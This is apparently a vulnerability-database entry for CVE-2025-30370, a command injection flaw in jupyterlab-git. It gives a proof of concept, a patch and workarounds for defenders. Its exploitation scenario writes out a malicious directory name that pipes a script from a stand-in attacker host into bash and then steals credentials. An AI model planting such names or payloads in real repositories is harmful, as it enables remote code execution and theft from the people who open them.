CVE-2025-30370: jupyterlab-git: command injection via malicious repo name

GHSA-cj5w-8mjf-r5f8 HIGH PoC AVAILABLE CISA: TRACK*
Published April 4, 2025
CISO Take

Data scientists and ML engineers using JupyterLab are exposed to arbitrary code execution if they open a Git repository with a specially crafted directory name and click 'Open Git Repository in Terminal' — a routine workflow action. Exploitation is trivial and a prior incomplete patch (PR #1196) signals the vendor has already struggled to close this vector. Upgrade jupyterlab-git to v0.51.1 immediately; treat all unpatched JupyterLab environments with git integration as capable of silent compromise via untrusted repository clones.

What is the risk?

CVSS 7.4 High with EPSS 0.00055 — low probability of mass exploitation, but high impact in ML development environments where researchers routinely clone untrusted repositories from HuggingFace, GitHub, and public dataset sources. The attack is trivially crafted: create a directory with '$()' in the name and publish it. It requires only local access and a single user click, making social engineering delivery highly viable. The supply chain delivery angle (malicious public repo dressed as a model or dataset) elevates real-world risk well beyond what the EPSS score reflects for this population.

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Jupyter pip < 0.51.1 0.51.1
13.2K OpenSSF 5.8 1.9K dependents Pushed 4d ago 79% patched ~9d to patch Full package profile →

Do you use Jupyter? You're affected.

How severe is it?

CVSS 3.1
7.4 / 10
EPSS
0.5%
chance of exploitation in 30 days
Higher than 42% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
CISA SSVC: Public PoC
Public PoC indexed (trickest/cve)
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV AC PR UI S C I A
AV Local
AC High
PR Low
UI Required
S Changed
C Low
I High
A High

What should I do?

7 steps
  1. PATCH

    Upgrade immediately — 'pip install --upgrade jupyterlab-git' (target v0.51.1+).

  2. WORKAROUND A (server-level): Add 'c.ServerApp.terminals_enabled = False' to jupyter_server_config.py.

  3. WORKAROUND B

    'jupyter server extension disable jupyter_server_terminals'.

  4. WORKAROUND C

    'jupyter labextension disable @jupyterlab/terminal-extension'.

  5. DETECT

    Scan filesystems for suspicious directory names — 'find . -name "*\$(*)" -type d' and 'find . -name "*\`*" -type d'.

  6. HARDEN

    Enforce repository cloning policies that prohibit untrusted sources in ML development environments; consider sandboxed JupyterLab containers with restricted shell access.

  7. AUDIT

    Review JupyterHub server logs for unexpected process spawning from notebook server PIDs.

What does CISA's SSVC say?

Decision Track*
Exploitation poc
Automatable No
Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 9 - Risk Management System
ISO 42001
A.6.2.4 - AI system security controls
NIST AI RMF
MANAGE-2.2 - Risk Treatment for AI Systems
OWASP LLM Top 10
LLM03:2025 - Supply Chain Vulnerabilities

Frequently Asked Questions

What is CVE-2025-30370?

Data scientists and ML engineers using JupyterLab are exposed to arbitrary code execution if they open a Git repository with a specially crafted directory name and click 'Open Git Repository in Terminal' — a routine workflow action. Exploitation is trivial and a prior incomplete patch (PR #1196) signals the vendor has already struggled to close this vector. Upgrade jupyterlab-git to v0.51.1 immediately; treat all unpatched JupyterLab environments with git integration as capable of silent compromise via untrusted repository clones.

Is CVE-2025-30370 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2025-30370, increasing the risk of exploitation.

How to fix CVE-2025-30370?

1. PATCH: Upgrade immediately — 'pip install --upgrade jupyterlab-git' (target v0.51.1+). 2. WORKAROUND A (server-level): Add 'c.ServerApp.terminals_enabled = False' to jupyter_server_config.py. 3. WORKAROUND B: 'jupyter server extension disable jupyter_server_terminals'. 4. WORKAROUND C: 'jupyter labextension disable @jupyterlab/terminal-extension'. 5. DETECT: Scan filesystems for suspicious directory names — 'find . -name "*\$(*)" -type d' and 'find . -name "*\`*" -type d'. 6. HARDEN: Enforce repository cloning policies that prohibit untrusted sources in ML development environments; consider sandboxed JupyterLab containers with restricted shell access. 7. AUDIT: Review JupyterHub server logs for unexpected process spawning from notebook server PIDs.

What systems are affected by CVE-2025-30370?

This vulnerability affects the following AI/ML architecture patterns: ML development environments, data science workstations, model training pipelines, multi-user JupyterHub deployments, managed ML platforms (SageMaker, Vertex AI, Azure ML with JupyterLab).

What is the CVSS score for CVE-2025-30370?

CVE-2025-30370 has a CVSS v3.1 base score of 7.4 (HIGH). The EPSS exploitation probability is 0.55%.

What is the AI security impact?

Affected AI Architectures

ML development environmentsdata science workstationsmodel training pipelinesmulti-user JupyterHub deploymentsmanaged ML platforms (SageMaker, Vertex AI, Azure ML with JupyterLab)

MITRE ATLAS Techniques

AML.T0010.001 AI Software
AML.T0011 User Execution
AML.T0025 Exfiltration via Cyber Means
AML.T0050 Command and Scripting Interpreter

Compliance Controls Affected

EU AI Act: Article 9
ISO 42001: A.6.2.4
NIST AI RMF: MANAGE-2.2
OWASP LLM Top 10: LLM03:2025

What are the technical details?

Original Advisory

## Overview On many platforms, a third party can create a Git repository under a name that includes a shell command substitution [^1] string in the syntax `$(<command>)`. These directory names are allowed in macOS and a majority of Linux distributions [^2]. If a user starts `jupyter-lab` in a parent directory of this inappropriately-named Git repository, opens it, and clicks "Git > Open Git Repository in Terminal" from the menu bar, then the injected command `<command>` is run in the user's shell without the user's permission. This issue is occurring because when that menu entry is clicked, `jupyterlab-git` opens the terminal and runs `cd <git-repo-path>` through the shell to set the current directory [^3]. Doing so runs any command substitution strings present in the directory name, which leads to the command injection issue described here. A previous patch provided an incomplete fix [^4]. [^1]: https://www.gnu.org/software/bash/manual/html_node/Command-Substitution.html [^2]: https://www.gnu.org/software/libc/manual/html_node/File-Name-Portability.html [^3]: https://github.com/jupyterlab/jupyterlab-git/blob/7eb3b06f0092223bd5494688ec264527bbeb2195/src/commandsAndMenu.tsx#L175-L184 [^4]: https://github.com/jupyterlab/jupyterlab-git/pull/1196 ## Scope of Impact This issue allows for arbitrary code execution via command injection. A wide range of actions are permitted by this issue, including but not limited to: modifying files, exfiltrating data, halting services, or compromising the server's security rules. We have scanned the source code of `jupyterlab-git` for other command injection risks, and have not found any at the time of writing. This issue was reproduced on the latest release of `jupyterlab-git`, v0.51.0. The steps taken to reproduce this issue are described in the "Proof-of-concept" section below. ## Proof-of-concept 1. Create a new directory via `mkdir test/ && cd test/`. 2. Create a new Git repository under `test/` with a command substitution string in the directory name by running these commands: ``` mkdir '$(touch pwned.txt)' cd '$(touch pwned.txt)/' git init cd .. ``` 3. Start JupyterLab from `test/` by running jupyter lab. 4. With JupyterLab open in the browser, double click on `$(touch pwned.txt)` in the file browser. 5. From the top menu bar, click "Git > Open Git Repository in Terminal". 6. Verify that `pwned.txt` is created under `test/`. This demonstrates the command injection issue described here. ## Proof-of-concept mitigation The issue can be mitigated by the patch shown below. <details><summary>Patch (click to expand)</summary> ```diff diff --git a/src/commandsAndMenu.tsx b/src/commandsAndMenu.tsx index 3779a6c..71ddcea 100644 --- a/src/commandsAndMenu.tsx +++ b/src/commandsAndMenu.tsx @@ -164,31 +164,13 @@ export function addCommands( label: trans.__('Open Git Repository in Terminal'), caption: trans.__('Open a New Terminal to the Git Repository'), execute: async args => { - const main = (await commands.execute( - 'terminal:create-new', - args - )) as MainAreaWidget<ITerminal.ITerminal>; + const cwd = gitModel.pathRepository; + const main = (await commands.execute('terminal:create-new', { + ...args, + cwd + })) as MainAreaWidget<ITerminal.ITerminal>; - try { - if (gitModel.pathRepository !== null) { - const terminal = main.content; - terminal.session.send({ - type: 'stdin', - content: [ - `cd "${gitModel.pathRepository - .split('"') - .join('\\"') - .split('`') - .join('\\`')}"\n` - ] - }); - } - - return main; - } catch (e) { - console.error(e); - main.dispose(); - } + return main; ``` </details> This patch removes the `cd <git-repo-path>` shell command that causes the issue. To preserve the existing behavior, the `cwd` argument is set to `<git-repo-path>` when a terminal session is created via the `terminal:create-new` JupyterLab command. This preserves the existing application behavior while mitigating the command injection issue. We have verified that this patch works when applied to a local installation of `jupyterlab-git`. We have also verified that the `cwd` argument is available in all versions of JupyterLab 4, so this patch should be fully backwards-compatible. ## Workarounds We recommend that users upgrade to the patched versions listed on this GHSA. However, if a user is unable to upgrade, there are 3 different ways to mitigate this vulnerability without upgrading to a patch. 1. Disable terminals on `jupyter-server` level: ``` c.ServerApp.terminals_enabled = False ``` 2. Disable the terminals server extension: ``` jupyter server extension disable jupyter_server_terminals ``` 3. Disable the lab extension: ``` jupyter labextension disable @jupyterlab/terminal-extension ```

Exploitation Scenario

An adversary publishes a convincing ML model or dataset repository on GitHub or HuggingFace, embedding a subdirectory named '$(curl -s https://attacker[.]com/payload.sh|bash)'. A data scientist clones the repo, launches JupyterLab from the parent directory (standard workflow), navigates into the malicious subdirectory via the file browser, and clicks 'Git > Open Git Repository in Terminal' to inspect version history — a completely routine action. Before the directory changes, the shell evaluates the command substitution and executes the attacker's payload silently. The payload can exfiltrate ~/.netrc, .env files, SSH keys, Jupyter tokens, HuggingFace credentials, and any API keys in the process environment, then establish a reverse shell or persistence mechanism. The user sees only a normal terminal window.

Weaknesses (CWE)

CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

  • [Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
  • [Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:L/I:H/A:H

Timeline

Published
April 4, 2025
Last Modified
April 4, 2025
First Seen
March 24, 2026

Related Vulnerabilities